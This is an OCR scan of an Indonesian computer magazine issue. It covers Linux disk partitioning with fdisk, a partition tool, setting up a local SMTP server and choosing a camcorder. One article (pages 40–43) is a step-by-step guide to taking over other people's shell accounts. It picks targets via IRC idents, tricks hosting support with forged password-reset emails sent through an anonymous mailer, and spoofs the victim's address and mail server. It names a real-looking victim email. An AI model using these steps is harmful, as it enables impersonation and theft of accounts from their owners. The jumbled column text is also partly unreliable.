Linux, atau FreeBSD. Mereka menem- Dasar-dasar Partisi Selain itu, anda juga harus membuat
patkan partisi dalam porsi yang sangat partisi /swap, untuk digunakan sebagai
kecil, bahkan ada kecenderungan meng- Partisi adalah merupakan bagian dari
hard disk yang dipakai sebagai tempat virtual RAM. Ukuran partisi /swap
anggap itu bukan suatu hal yang perlu biasanya dibuat berdasarkan kebutuhan,
dijelaskan secara detail. untuk menampung beberapa sistem
operasi tertentu, misalnya MS-DOS, namun kadang kala dipakai anggapan
Kemudian muncul satu pertanyaan: NT, Novell NetWare, SCO UNIX, bahwa paling tidak anda harus memili-
Jika anggapan mereka itu benar, lalu Linux, FreeBSD, dan lain sebagainya. ki virtual RAM (/swap) sebesar 16MB.
bagaimana mungkin seseorang yang Jika komputer anda hanya memiliki Satu hal yang perlu anda ketahui, mes-
tidak mengerti sedikit pun partisi bisa dua buah sistem operasi, katakanlah kipun kapasitas hard disk anda sangat
menginstal SCO UNIX, Linux, atau misalnya DOS dan Novell NetWare, besar, anda tidak diizinkan untuk mem-
FreeBSD? maka dapat dipastikan bahwa hard disk buat ukuran satu buah partisi /swap
atau anda memiliki dua buah partisi, satu lebih dari 128MB. Bila anda membutuh-
partisi untuk MS-DOS, dan partisi kan swap lebih dari 128MB, maka anda
Apa yang terjadi jika anda memaksa- satu lagi dipakai oleh Novell NetWare. harus membuat partisi swap lain. Anda
kan diri untuk menginstal salah satu bisa membuat partisi /swap sebanyak
sistem operasi tersebut, sementara Secara umum, partisi terdiri dari tiga 16 buah partisi.
anda sendiri tidak begitu mengerti jenis, yaitu Primary, Extended, dan
bagaimana membuat atau membagi Logical. Meskipun demikian, kita juga Wah banyak sekali!?
partisi hard disk? dimungkinkan untuk membuat partisi Dalam beberapa jurnal Linux yang per-
sebanyak-banyaknya dalam sebuah nah penulis baca, ada sebagian pakar
Jelas, tentu masalahnya bisa jadi tam- hard disk, tidak terbatas hanya 1, 2, 4,
bah runyam! apalagi (mungkin) sete- yang menyarankan untuk membuat
6, 8, atau seterusnya. partisi khusus ber-label /tmp, alasan-
lah partisi yang sudah ada sebelumnya
lenyap begitu saja setelah ditindih Hal itu dimungkinkan karena adanya nya untuk mengalokasikan file-file
(overwrite) oleh partisi Linux yang partisi extended, yang dapat memuat temporary dari beberapa aplikasi yang
secara kebetulan berhasil anda instal. sejumlah partisi logical. Meskipun tadi ukurannya bisa mencapai ratusan MB.
dikatakan bahwa partisi ada tiga jenis, Singkat kata, ketika anda akan meng-
Nah, agar masalah ini tidak terjadi pa- namun partisi yang dipakai hanya dua,
da anda, maka saya sarankan sebelum instal SCO UNIX, Linux, atau FreeBSD,
yaitu partisi primary dan partisi logical, maka disarankan sebaiknya anda harus
anda mulai melakukan instalasi, yang partisi extended hanya digunakan un-
pertama kali seharusnya anda pahami membuat 6 buah partisi sekaligus, yang
tuk menampung partisi logical. masing-masing partisi tersebut diberi
adalah bagaimana cara membuat par-
tisi yang benar, carilah informasi yang SCO UNIX, Linux, atau FreeBSD seti- nama (label) sebagai berikut:
membahas masalah tersebut, karena daknya memerlukan satu buah partisi / (root)
itu adalah awal dari segalanya. root (//), yang digunakan untuk me- /usr
nampung filesystem, termasuk kernel
Jika anda sudah benar-benar mengerti /home
dan software-software lain yang ber-
dan memahaminya dengan baik, maka hubungan dengan filesystem itu. /var
saya jamin anda tidak akan pernah /swap
merasa kesulitan lagi pada saat anda Filesystem sebagai partisi yang difor-
/tmp
mencoba menginstal salah satu sistem mat khusus untuk SCO UNIX, Linux,
operasi tersebut di atas. Lalu di mana atau FreeBSD. Filesystem yang nan- Nah, setelah memahami dasar-dasar
mendapatkan informasi tersebut? tinya digunakan untuk menampung file. partisi, maka sekarang kita dapat me-

36 NeoTek Vol. IV No. 02


NeoTutor

langkah ke dalam proses pembuatan


partisi, yaitu partisi Linux. Dalam hal
ini saya mengasumsikan bahwa anda
akan membuat partisi Linux pada hard
disk yang telah berisi partisi MS-DOS
seperti yang tampak pada Gambar 1. Gambar 3. Tampilan command line fdisk.
Untuk menampilkan menu help, tekan
[m], atau [p] untuk menampilkan in-
formasi tabel partisi saat ini, hasilnya
akan tampak sama seperti yang diper-
lihatkan pada Gambar 5.

Gambar 6. Komposisi pembagian partisi

Gambar 1. Melihat informasi partisi dari pro-


gram FDISK
Dalam gambar tersebut di atas terlihat
bahwa jumlah kapasitas hard disk pe- Gambar 7. Menu pilihan command action
nulis adalah sebesar 9539 MB atau ham- Karena partisi yang akan kita buat un-
pir setara dengan 10 GB. Gambar 4. Menampilkan menu help
tuk pertama kalinya adalah primary,
Dari jumlah tersebut, partisi yang su- maka pilihlah [p], lalu anda akan dita-
dah terpakai sebanyak 66% atau sebes- nya, partisi primary keberapa yang
ar 6008 MB. Berarti masih ada sekitar akan buat, pilih [2]. Ingat bahwa partisi
34% partisi yang masih tersisa atau primary yang pertama sudah diguna-
sebesar 3531 MB (3.5 GB) untuk pe- kan sebagai partisi MS-DOS (lihat
nulis gunakan sebagai partisi Linux. Gambar 1 dan 5).
Namun sebelum itu tentunya penulis Setelah anda mengetikkan angka [2],
harus membuat partisinya terlebih dulu. Linux akan meminta anda untuk me-
Gambar 5. Menampilkan tabel partisi masukkan angka cylinder pertama dan
Langkah-langkahnya akan dijelaskan cylinder terakhir dalam bentuk satuan
sebagai berikut: Dalam tabel partisi yang diperlihatkan
pada Gambar 5, dapat diketahui bahwa kapasitas yang anda inginkan terhadap
Membuat Partisi Linux hanya satu partisi primary yang digu- partisi primary tersebut.
nakan (h hda), dengan begitu sebenarnya Sesuai dengan komposisi yang sudah
Di Linux, ada dua buah program yang
dapat dipakai untuk membuat partisi, kita masih dapat membuat partisi pri- direncanakan semula, maka angka yang
yaitu program Disk Druid dan fdisk, mary untuk Linux sebanyak 3 buah anda masukkan adalah 300 MB, untuk
seperti yang terlihat pada Gambar 2. tanpa harus membuat partisi logical. menuliskannya, ketik +300M, lalu
Namun, karena sesuai dengan rencana akhiri dengan menekan tombol Enter
semula bahwa kita harus membuat par- (lihat contoh pada Gambar 8).
tisi Linux sebanyak 6 buah, maka par-
tisi yang nantinya harus kita buat ada-
lah merupakan gabungan dari partisi
primary dan partisi logical.
Komposisinya antara lain adalah
sebagai berikut:
• 1 buah partisi primary untuk digu- Gambar 8. Membuat partisi primary (root file-
Gambar 2. Pilihan program untuk membuat nakan sebagai partisi root (/), system)
partisi Linux sebesar 100 MB.
3. Setelah partisi primary untuk root
Dari kedua program tersebut (Disk • 5 buah partisi logical untuk digu- filesystem terbentuk, tahap berikutnya
Druid dan fdisk), banyak yang menga- nakan sebagai partisi /usr, /var, adalah membuat partisi extended untuk
takan bahwa fdisk jauh lebih bagus di- /home, /swap, dan /tmp. Ukuran menampung partisi logical. Caranya, te-
banding Disk Druid, dan oleh karena (kapasitas) partisi yang akan dibe- kan [n] (aadd new partition), kemudian
itu saya menyarankan agar sebaiknya rikan terhadap masing-masing pada command action, pilih [e] (eextended).
anda menggunakan program tersebut. partisi tersebut dapat anda lihat
pada Gambar 6. Ketika anda ditanya nomor partisi ke-
Untuk menggunakan fdisk, caranya berapa yang akan anda buat, ketik [3],
adalah sebagai berikut: 2. Untuk membuat partisi baru, te- setelah itu anda akan diminta untuk me-
1. Pilih fdisk, lalu tekan tombol Enter. kan [n], singkatan dari add a new masukkan angka cylinder yang pertama
Kemudian setelah itu anda akan me- partition, kemudian Linux akan dan yang terakhir.
lihat baris perintah (command line) memberikan dua buah pilihan com-
mand action seperti yang tampak pa- Untuk mengisi cylinder pertama, ketik-
seperti yang diperlihatkan pada lah angka cylinder yang paling awal,
Gambar 3. da Gambar 7.
sedangkan untuk cylinder yang ter-

Vol. IV No. 02 NeoTek 37


NeoTutor

akhir, anda harus menghitung jumlah nya sudah sesuai seperti yang direnca-
keseluruhan hard disk dikurangi jumlah nakan, ketik [p] untuk menampilkan
kapasitas partisi yang sudah terpakai informasi tabel partisi saat ini. Hasil-
oleh MS-DOS (partisi primary perta- nya akan tampak pada Gambar 17.
ma), lalu dari hasil penjumlahan terse-
but kurangkan dengan jumlah kapasitas
partisi yang sudah anda berikan pada
partisi primary ke dua (filesystem root), Gambar 12. Membuat partisi /usr (logical)
kemudian sisanya ketikkan sebagai Setelah selesai, lanjutkan dengan mem-
angka untuk cylinder yang terakhir. buat partisi /var. Caranya, tekan [n],
Untuk menuliskannya, ketik +3231M lalu pilih [l]. Ketikkan +300M pada saat
(lihat contoh pada Gambar 9). Perhitung- anda diminta mengisi angka cylinder
annya dapat anda lihat pada Gambar 10. yang terakhir (lihat contoh Gambar 13).

Gambar 17. Iinformasi tabel partisi saat ini.

Gambar 9. Membuat partisi extended Gambar 13. Membuat partisi /var


Dengan cara yang sama, teruskan mem-
buat partisi /home, /swap, dan /tmp. Gambar 18. Daftar kode hexa (hex code)
Sebagai referensinya, lihat contoh pada
Gambar 14, 15, dan 16. Bila masih kurang yakin, atau mung-
kin ingin mengubah ukuran kapasitas
salah satu partisi yang sudah anda buat
sebelumnya, maka yang terlebih dulu
harus anda lakukan adalah menghapus
Gambar 10. Menghitung partisi extended salah satu partisi yang ingin diubah.
Jika anda ingin memastikan apakah Caranya, tekan [d] (ddelete a partition),
sampai sejauh ini semua yang sudah kemudian anda akan diminta untuk me-
anda lakukan sudah benar, coba tekan masukkan nomor partisi yang ingin
[p] (pprint the partition table), hasil- Gambar 14. Membuat partisi /home anda hapus. Masukkan nomor partisi
nya akan tampak sama seperti yang yang akan anda hapus, lalu akhiri de-
terlihat dalam Gambar 11. ngan menekan tombol Enter.
Jika sudah menghapusnya, maka seka-
rang anda sudah dapat membuat par-
tisi yang baru lagi sesuai dengan ukur-
an kapasitas yang anda inginkan. Ten-
tunya dengan cara yang sama seperti
Gambar 15. Membuat partisi /swap yang sudah dijelaskan di atas.

Gambar 11. Menampilkan informasi tabel par-


tisi saat ini
4. Setelah proses pembuatan partisi
primary dan partisi extended selesai,
maka proses berikutnya adalah mem- Gambar 19. Menghapus salah satu partisi
buat partisi logical (//usr, /var, /home,
Gambar 16. Membuat partisi /tmp Dan jika semuanya sudah fix, maka
/swap, dan /tmp), sesuai dengan urut-
an yang sudah dikonsep sebelumnya 5. Setelah semua partisi selesai dibuat, simpanlah semua perubahan yang
(lihat Gambar 6). maka tahap berikutnya adalah meng- sudah anda lakukan dengan menekan
ubah system ID partisi, dalam hal ini [w] (w
write table to disk and exit) pada
Untuk membuatnya, tekan [n], kemu- command line program fdisk, dan se-
dian pada command action, pilih [l] system ID partisi yang akan diubah
adalah partisi /swap. kaligus keluar dari program tersebut.
(llogical), sesaat kemudian anda akan
diminta untuk memasukkan angka Caranya, tekan [t]; anda akan ditanya
cylinder yang pertama dan cylinder nomor partisi berapa yang akan anda
yang terakhir. Untuk mengisi cylinder ubah. Sesuai urutan partisi yang sudah
pertama, ketiklah angka cylinder yang selesai dibuat, maka partisi /swap ber-
paling awal, kemudian pada cylinder ada pada posisi ke-8 (delapan), jadi ke-
terakhir, ketik +2481M (lihat contoh tik [8], dan ketika diminta untuk mema-
sukkan kode heksaa (hex code), ketik Gambar 20. Menyimpan tabel partisi dan seka-
pada Gambar 12). ligus keluar dari program fdisk.
[82]. Untuk memastikan apakah semua-

38 NeoTek Vol. IV No. 02


NeoTutor

Gambar 22. Me-mount partisi root (/)

Jika anda sudah selesai me-mount semua partisi sebagai-


mana yang diinstruksikan di atas, maka hasilnya akan tam-
pak seperti yang diperlihatkan pada Gambar 23.
Gambar 21. Informasi tabel partisi yang diperlihatkan program Disk Druid.
6. Untuk mengakhiri semua proses di atas, maka sebagai
tugas terakhir anda adalah me-mmount masing-masing par-
tisi yang sudah dibuat menggunakan program Disk Druid.
Ketika anda masuk ke dalam program Disk Druid, akan ter-
lihat seperti yang ditunjukkan pada Gambar 21.
Dalam gambar tersebut di atas dapat dilihat bahwa masing-
masing partisi yang akan di-mount adalah partisi yang di-
wakili oleh device hda2, hda5, hda6, hda7, hda8, dan hda9.
Sesuai dengan urutannya, mount-lah masing-masing
device tersebut sesuai dengan urutan yang sudah anda
tentukan, yakni device:
hda2 sebagai root (/)
hda5 sebagai /usr Gambar 23. Informasi tabel partisi yang telah di mount.
hda6 sebagai /home Untuk mengakhirinya, tekan tombol OK, dan setelah itu
hda7 sebagai /var Linux akan segera memformat semua partisi tersebut, dan
hda8 sebagai /swap itu artinya kini Linux telah siap untuk di instal
hda9 sebagai /tmp Demikianlah penjelasan tentang proses pembuatan partisi
Untuk memulainya, arahkah pointer ke device hda2, pilih Linux, mudah-mudahan bisa dipahami.
Edit, sesaat kemudian anda akan diminta untuk mema- Selamat mencoba, and good luck!
sukkan label untuk partisi tersebut (Gambar 22).

PARTITI O N TOO L
Paragon Partition Manager 2002
Dengan diluncurkannya versi 2003, maka Paragon Partition Manager 2002
full version sudah disediakan gratis oleh pengembangnya.
ADA KOMPUTER NEOTEK YANG
P terdiri dari disk 0 (4 Gbyte)
dan disk 1 (10 Gbyte) terdapat
partisi Primary FAT32 pertama (C:)
pada disk 0. Pada disk 1 terdapat partisi
Primary FAT32 kedua (D:), extended
partitions FAT32 sebagai Logical E:,
serta 4 Logical partitions milik Linux
yang dapat diakses melalui Windows.
Silakan coba, tetapi hati-hati...

Paragon Partition Manager masih memiliki kelemahan. Partisi FAT32 dikenali sebagai Unformatted.

Vol. IV No. 02 NeoTek 39


NeoTekno

E MAI L S POO F I N G U NTU K


‘Mencuri’ Shell Account
Anonymous email dapat digunakan untuk mendapatkan shell account password milik orang
lain dengan cara ‘menipu’ administratornya. Semuanya harus dikemas ‘rapi’ agar tidak
mencurigakan. Eryanto Sitorus (ery@postmaster.co.uk) membahas hal yang kontroversial ini.
IRC (INTERNET
J
IKA ANDA SUDAH BIASA NGOBROL DI
Relay Chat), saya yakin anda pasti sudah sering men-
dengar kata BNC/EZBNC, PsyBNC, atau Eggdrop.
Dan, kalau memang betul anda sudah sering mendengarnya,
dan kemudian pernah memakainya, maka bisa dipastikan
pula bahwa tentunya anda juga sudah 'sangat' mengerti apa
yang dimaksud dengan shell account.
Apabila ada yang belum mengerti istilah-istilah tersebut, an-
da bisa memperoleh informasinya secara lengkap di dalam
buku saya yang berjudul Perisai Ampuh Para Chatter: Tek-
nik Instalasi & Konfigurasi Shell Account, BNC/EZBNC,
PsyBNC, dan Eggdrop. Terbitan Dinastindo, 2002).
Di Internet, khususnya di saluran-saluran IRC terkenal se-
perti DALnet, EFnet, atau Undernet, shell account termasuk
'barang antik' yang paling diincar dan sangat diidam-idam-
kan oleh sebagian besar para peserta chat, termasuk juga
oleh saya tentunya.
Gambar 1. Surat (email) yang menyatakan bahwa permintaan bantuan
Alasannya, karena selain berguna untuk menjalankan BNC, di tolak
PsyBNC, dan Eggdrop, tentu saja kita juga bisa memanfaat-
kannya sebagai media untuk melakukan hacking, yaitu de-
ngan cara menjalankan program-program seperti exploit,
misalnya. Kemudian, kita juga dimungkinkan untuk meng-
operasikan berbagai macam aplikasi IRC, baik itu yang ber-
sifat sebagai client maupun server (IRCD).
Namun, yang menjadi masalah adalah, untuk mendapatkan
shell yang benar-benar murni shell account (bukan free shell
account), ternyata bukanlah hal yang mudah, karena sudah
menjadi 'kenyataan' bahwa tidak ada cara lain untuk men-
dapatkannya selain harus menyewanya kepada para pemilik
server yang secara khusus menyewakannya untuk melayani
semua keperluan tersebut di atas.
Persoalan inilah yang akan saya angkat untuk mejadi bahan
tulisan dalam artikel saya kali ini. Terus terang, saya begitu
tertarik membahas masalah ini, karena saya sendiri telah
membuktikan, bahwa ternyata masih ada hal-hal yang bisa
kita upayakan agar bisa mendapatkannya secara gratis, yaitu
dengan cara melakukan 'aksi penipuan' sebagaimana yang Gambar 2. Diterima sebuah surat yang menyatakan bahwa permintaan
diperlihatkan pada dua buah gambar berikut (Gambar 1 dan 2). bantuan diterima
Bila anda jeli dan kritis membaca pesan (isi email) yang Baiklah, untuk mempersingkat tulisan ini, saya akan segera
diperlihatkan dalam dua buah gambar tersebut di atas, maka menjelaskan caranya. Berikut ini adalah penjelasannya:
itu adalah suatu 'bukti nyata' bahwa untuk mendapatkan
shell yang benar-benar shell account (bukan yang free shell 1. Mencari Shell Account Milik Orang
account), ternyata tidak terlalu sulit. Sebagai langkah pertama, lakukanlah proses investigasi un-
Yang penting, kalau anda bisa membuktikan bahwa anda tuk mencari dan sekaligus untuk menentukan account (shell
bisa mengirim email melalui alamat email seperti yang account) siapa yang akan menjadi ‘target’ anda. Dalam hal
diinstruksikan pada paragraf kedua dalam Gambar 1 di atas ini, anda bisa memanfaatkan koleksi BNC anda yang masih
aktif untuk menemukan ident (U User ID) beserta alamat host
For security purposes, please send the completed pass- (rremote host) shell yang akan anda ambil alih. Biasanya, ka-
word request for the account "cyberx" from the email lau kita menggunakan BNC yang ident-nya tidak bisa di-
address used during the registration process of the shell ganti, maka besar kemungkinan ident itulah yang menjadi
account, ben171@singnet.com.sg username untuk shell-nya.
disitulah letak 'kunci sukses' anda mendapatkan shell account.

40 NeoTek Vol. IV No. 02


NeoTekno

Gambar 3. Contoh 3. Kirim Email Bahwa Anda Lupa Akan Password Anda
salah satu BNC yang
ident-nya tidak bisa Setelah semuanya OK, tugas selanjutnya adalah mengirim
diganti email kepada tim pendukung teknis (technical support team)
yang sudah anda temukan tadi. Dalam hal ini, anda harus
benar-benar bisa meyakinkan mereka bahwa anda adalah
2. Mendapatkan Situs dari Shell Target pemilik yang sah.
Setelah selesai menentukan target, dan sukses 'mengantongi' Agar email yang anda kirim nanti terlihat meyakinkan, tu-
username beserta alamat shell (rremote host) yang akan anda liskanlah username (User ID) shell tersebut, termasuk kata
ambil alih, maka tugas selanjutnya adalah menemukan ala- sandi (password) hasil rekaan anda sendiri, serta jangan lupa
mat situs dari shell tersebut. untuk mengatakan bahwa itulah password yang terakhir kali
anda set. Anda tidak perlu khawatir salah, karena yang paling
Hal ini penting dilakukan agar anda tahu, kepada siapa harus penting buat mereka hanyalah username-nya.
'mengadukan persoalan' bahwa anda 'telah kehilangan' kata
sandi (password) shell tersebut. Ketika anda menulis (mengarang) email, mungkin anda akan
merasa sedikit kesulitan, karena harus menuliskannya dalam
Untuk masalah yang satu ini, anda tidak perlu repot-repot, versi English. Jika anda tidak terlalu mahir berbahasa Inggris,
karena ada cara yang lebih praktis untuk menemukannya, dan anda merasa malu kalau harus bertanya kepada guru/
yaitu dengan memanfaatkan fasilitas NSLOOKUP (S Smart dosen bahasa Inggris anda, lakukanlah langkah-langkah
Whois). berikut ini:
Cobalah anda klik alamat situs • Masuklah ke dalam situs EWGate yang beralamat di
http://www.dns411.com atau http://ww.all- http://www.ewgate.com/template/register.html, kemu-
nettools.com/tools1.htm, dian isi (lengkapi) semua field yang terdapat pada para-
form Registration, seperti yang terlihat pada Gambar 6.
ketikkan alamat shell tadi. Maka tak lama kemudian, anda
pasti akan menemukan beberapa link yang mengarah ke
alamat situs shell tersebut.

Gambar 6. Membuat account di EWGate.

• Setelah proses registrasi selesai, lakukan proses log on


Gambar 4. Melacak alamat situs shell account.
untuk masuk ke dalam situs EWGate
Apabila sudah berhasil melacaknya, masuklah ke dalam situs,
lalu cari halaman (page) yang menginformasikan alamat
email tim pendukung teknis yang mengurus shell tersebut,
seperti yang terlihat pada Gambar 5.

Gambar 5. Mencari alamat email tim pendukung teknis shell account Gambar 7. Log on ke dalam situs EWGate.

Vol. IV No. 02 NeoTek 41


NeoTekno

• Selanjutnya, paste-lah surat (email) yang sudah selesai an- ngan memanfaatkan program Anonymous Emailer. Karena
da konsep tadi ke dalam field Message, lalu klik tombol melalui program inilah anda dimungkinkan untuk menulis-
Translate. Namun, sebelum anda mengklik tombol Trans- kan alamat email sesuka hati anda. Di antara sekian banyak
late, pastikan bahwa Language Pair yang anda pilih adalah program Anonymous Emailer yang tersedia saat ini, salah
Indonesian->English, seperti yang tampak pada Gambar 8. satunya yang bisa dipakai adalah AEnima v2.0, yang dibuat
oleh Phobos. Untuk mengambilnya, silahkan anda masuk ke
dalam situs yang beralamat di
http://home.gzinc.com/rfosnot/terror/index.html
Jika anda memilih program tersebut sebagai tool anda, maka
cara pengoperasiannya adalah sebagai berikut:
• Sebagai langkah pertama, jalankan program AEnima.
• Klik tab Mail Delivery, ketikkan sembarang nama anda ke
dalam field Sender's name. Anda tidak perlu pusing me-
mikirkan nama siapa yang harus anda ketik sebagai pengi-
rim, karena yang menjadi 'inti' dan sekaligus yang men-
jadi 'kunci sukses' trik ini hanya terletak pada alamat
email yang tertera atau tercantum sebagai pengirimnya.
Setelah selesai mengisi nama anda, ketikkan alamat email
pemilik shell yang menjadi target anda ke dalam field
Sender's Email. Sedangkan untuk field Reply To, anda
boleh menuliskan alamat email anda yang asli (yang
sebenarnya). Kemudian, pada bagian yang kedua, masih
dari dalam tab Mail Delivery, isilah nama beserta alamat
Gambar 8. Memulai proses translate. email administrator (tim pendukung teknis) ke dalam field
Receiver's name dan Receiver's Email. Khusus untuk field
Carbon Copy dan Blind Carbon Copy, bila dirasa tidak
perlu, anda boleh mengabaikannya.

Gambar 9. Contoh hasil teks yang sudah ditranslate

Apabila anda sudah merasa 'sreg' dengan teks yang di-trans-


late tadi, kirimkanlah itu segera ke alamat email tim pendu- Gambar 10. Mengisi nama/alamat email pengirim dan penerima.
kung teknis shell account, lalu tunggu beberapa saat sampai • Selanjutnya, beralihlah ke tab Mail Options, kemudian isi
mereka benar-benar meresponnya. Biasanya, kalau kebetul- field Originating Server dan SMTP Server. Khusus untuk
an mereka sedang on-line, maka tidak berapa lama kemu- field Originating Server, sebelum anda menuliskan sesua-
dian anda akan segera menerima balasannya. Jika mereka tu ke dalamnya, ada hal-hal yang perlu anda ketahui, yaitu:
sudah membalas email anda, dan isinya kurang lebih sama
seperti email yang saya terima pada Gambar 1, maka itu Agar aksi penipuan anda tidak terlalu mudah diketahui
adalah awal keberhasilan anda. (disadari) oleh pihak yang akan menerima email anda,
maka isilah field Originating Server dengan alamat mail
Congratulation buat anda!! server yang sesuai (ideal) dengan alamat email yang anda
Nah, karena anda sudah mendapat respon positif, maka usa- tulis tadi.
hakanlah untuk membalasnya sesegera mungkin agar me- Karena nama host (h hostname) email yang saya ketik ada-
reka tidak ragu untuk membantu anda. Lalu, bagaimana cara lah singnet.com.sg, maka pada field Originating Server,
mengirim (membalasnya)? Untuk menjawab pertanyaan ini, yang harus saya ketik adalah smtp.singnet.com.sg. Sedang-
bacalah petunjuk pada No. 4. kan untuk SMTP Server, sebelum anda memilih salah satu
4. Memalsukan Email di antaranya, periksalah terlebih dahulu, apakah masih ak-
Agar anda bisa mengirim mail dari (melalui) alamat email tif atau tidak. Dan yang terakhir, sebelum anda pindah ke
yang sudah jelas-jelas bukan milik anda, maka satu-satunya tab yang berikutnya, pastikan bahwa nilai yang tercantum
cara yang paling gampang untuk melakukannya adalah de- pada opsi Number of mails adalah 1.

42 NeoTek Vol. IV No. 02


NeoTekno

Gambar 11. Mengisi Originating Server dan memilih SMTP Server. Gambar 13. Menulis email yang akan dikirim

• Jika surat (email) yang akan anda kirim sudah OK, ber-
alihlah ke tab Send, kemudian klik tombol Start untuk me-
mulai proses pengiriman

Gambar 14. Proses pengiriman email


Gambar 12. Mengisi field Header.

• Kemudian, beralihlah ke dalam tab Header, lalu isi field- Demikianlah akhir dari artikel ini.
field yang terdapat dalam tab tersebut, seperti yang ter- Selamat mencoba, mudah-mudahan berhasil!!
lihat pada Gambar 12. Peringatan:
• Setelah selesai mengisi beberapa field yang terdapat pada Kegiatan yang diterangkan dalam artikel ini, yaitu mem-
tab Header, masuklah ke dalam tab Message, lalu tulislah buat email palsu, sudah dikategorikan pelanggaran, dan
(paste) email balasan yang akan anda kirim, seperti yang dapat mengarah menjadi tindakan kriminal, tergantung
terlihat pada Gambar 13. sejauh mana kerugian dari pihak korban.

Vol. IV No. 02 NeoTek 43


NeoTekno

POSTCAST SE RVE R
ENGAPA TIDAK PASANG SENDIRI SAJA
M SMTP server pada laptop anda?
Dengan Postcast server hal ini men-
jadi sangat mudah.

SMTP SE RVE R M I LI K Komponen untuk mengirim email pada da-


sarnya meliputi:
1. Program email anda (email client)
SENDIRI DI LAPTOP ANDA 2. SMTP mail server dari ISP anda
3. POP atau IMAP mail server penerima
4. Program email client penerima
Sewaktu bepergian memang dapat mengakses email lewat Dengan PostCast Server, tahap kedua sama
sekali dihilangkan dan dari program email
fasilitas web mail yang disediakan ISP, tetapi dengan email client, anda mengirim ke PostCast server
client seperti Outlook Express, hanya dapat men-download yang ada di komputer anda sendiri, lalu
PostCast Server mengirim email itu ke
dan tidak dapat mengirim email lewat. Ini dikarenakan SMTP POP atau IMAP server penerima.
server ISP tidak dapat diakses lewat web. Mau dipasang di desktop di rumah juga bisa...

Menggunakan Outlook Express untuk mengirim email tanpa menggunakan SMTP server dari ISP anda.

SETUP WIZARD MAIL SENDING & RUN-TIME TEST YOUR SETTING


1 Setelah instalasi, jalankan PostCast
Server yang akan menampilkan jen-
2 Pada opsi Mail Sending banyak pilih
Manually dan klik Next. Pada opsi
3 Apabila menggunakan akses Inter-
net dial-up, PostCast akan men-dial
dela Setup Wizard (atau lewat Tools Run-time setting kosongkan tick Run internet sewaktu testing. Tetapi se-
> Setup Wizard). Klik Next dan akan at system startup karena PostCast belumnya tutup dulu PostCast, akses
tampil jendela Incoming Connection. akan bermasalah bila dijalankan le- Internet, jalankan email client, dan
Biarkan saja tidak di-tick pada Allow bih dulu sebelum email client. Klik lakukan dulu setting pada email
access ONLY for users with these IP Next. SMTP server dinamakan sesuai client (disini digunakan Outlook
addresses. Klik Next. computer name dan port 25 dibuka. Express).

SETTING EMAIL CLIENT TEST EMAIL KIRIM DARI POSTCAST


4 Pada Outlook Express pilih Tools >
Accounts dan pilih account anda,
5 Jalankan PostCast server, lalu kem-
bali ke Outlook Express dan buat
6 Untuk mengirim dari PostCast server
ke masing-masing mailbox (IMAP
lalu klik Properties. Pada tab Servers suatu email. Klik Send untuk me- untuk Yahoo account dan POP3
biarkan POP3 server seperti biasa ngirim email ini. Email ini akan untuk IndoNet account), klik Start
(contoh: pop.indo.net.id) tapi SMTP dikirim dari Outbox Outlook Express pada PostCast. Tampak email itu
server ganti menjadi kosasih (atau menuju Outbox dari PostCast server. dikirim dan tak lama kemudian
lainnya sesuai dengan PostCast, Satu email akan menjadi dua email dapat anda periksa baik lewat
tadinya smtp.indo.net.id). di PostCast (To dan cc). browser maupun email client.

44 NeoTek Vol. IV No. 02


NeoReview

PERSIAPAN HARDWARE UNTUK


Digital Video
Anggaran dan Apa yang Bisa Diharapkan
Untuk masuk menjadi anggota ‘klub’ videomen tidak harus menguras kantong terlalu dalam.
Perangkat camcorder digital kini sudah sangat terjangkau, demikian pula membuat PC anda
video-ready serta DVD burner yang harganya tiba-tiba turun.
ngan single CCD yang 0.33in, apalagi
Memilih Camcorder bila shooting di kondisi gelap.
Optical zoom juga cukup penting, te-
ERTAMA KALI KITA SAMAKAN Dalam hal ini MicroMV bersaing de- tapi digital zoom tidak perlu diperha-
P dulu istilah yang digunakan.
Kamera video akan kita sebut
ngan format MPEG2 lainnya yaitu
DVD-RAM (Hotachi dan Panasonic
tikan. Kamera pemula biasanya mem-
punyai optical zoom 10x sampai 12x,
sebagai camcorder (camera redorder), )dan DVD+RW (dari Sony juga). tetapi kini yang masih dikategorikan
mencakup yang digital maupun yang untuk pemula bisa 16x dan bahkan 22x.
analog. Yang digital disebut digital CCD dan Lensa
camcorder, sedangkan yang analog
Low Light Mode
Pada dasarnya hanya dua feature yang
disebut analog camcorder. benar-benar menentukan mutu suatu Spesifikasi lain perlu diperhatikan ada-
camcorder, CCD (Charge-Couple Devi- lah lux (tingkat pencahayaan), sema-
Kita tidak akan menggunakan istilah
ce) dan lensa. kin kecil lux artinya camcorder itu
handycam sebab handycam adalah
semakin peka untuk shooting dalam
merk untuk camcorder merk Sony, Digital camcoder kelas pemula biasa- keadaan gelap, tetapi hal ini tidak
sama seperti kita jangan mengguna- nya memberikan CCD 0.16in, sedang- bicara apa-apa soal mutunya.
kan nama kodak untuk kamera foto. kan yang lebih mahal menyediakan
CCD 0.25in. dan 0.33in (lebih sensitif Untuk itu lihat camcorder yang mem-
Ada baiknya anda membaca NeoTek
terhadap cahaya). Yang lebih bagus berikan night-shot mode, yang mem-
III/10 tentang Digital Video untuk
lagi mungkin menyediakan bukan perlambat shutter speed dan frame
mendapat gambaran lebih lengkap
single CCD, melainkan 3 buah. rate dari normal 25 fps sampai 2 fps.
tentang teknologi digital video mau-
pun teknologi video pada umumnya. Camcoder dengan 3 CCD tapi hanya Ada juga yang menggunakan infra
0.16in akan kalah dibandingkan de- merah untuk night-mode. Hasilnya
Memilih Camcorder tentu saja hanya satu warna.
Memilih camcorder anda yang per- M E M I LI H D I G I TAL V I D E O C AM E R A R E CO R D E R
tama akan merupakan kepusingan
tersendiri, mengingat range harganya Murah dan Kompak, Murah, Bagus Secara Mutu Tinggi Untuk Film
yang begitu luas (dari 3 jutaan sam- Lumayan Lumayan Keseluruhan Harga Terjangkau Dokumenter
pai 20-an juta untuk jenis-jenis Berapa
Berapa Anggaran
Anggaran yang Diperlukan
consumer model) serta banyaknya
istilah-istilah asing yang mungkin 3 juta 4 juta 6 juta 10 juta 20 juta
baru pernah anda dengar, yang perlu
dipertimbangkan. Spesifikasi yang Harus Diperoleh
Diperoleh
Mulai dari Format • Firewire • CCD • Firewire • CCD • Firewire & USB • CCD • Firewire • CCD • Firewire • Tiga
Format digital video yang tersedia 0.16in atau lebih 0.16in atau lebih • 0.25in atau lebih • MiniDV 0.16in atau lebih • CCD 0.33in •
• MiniDV/Digital8 MiniDV • Optical zoom 10x atau MiniDV • Optical MiniDV • Optical
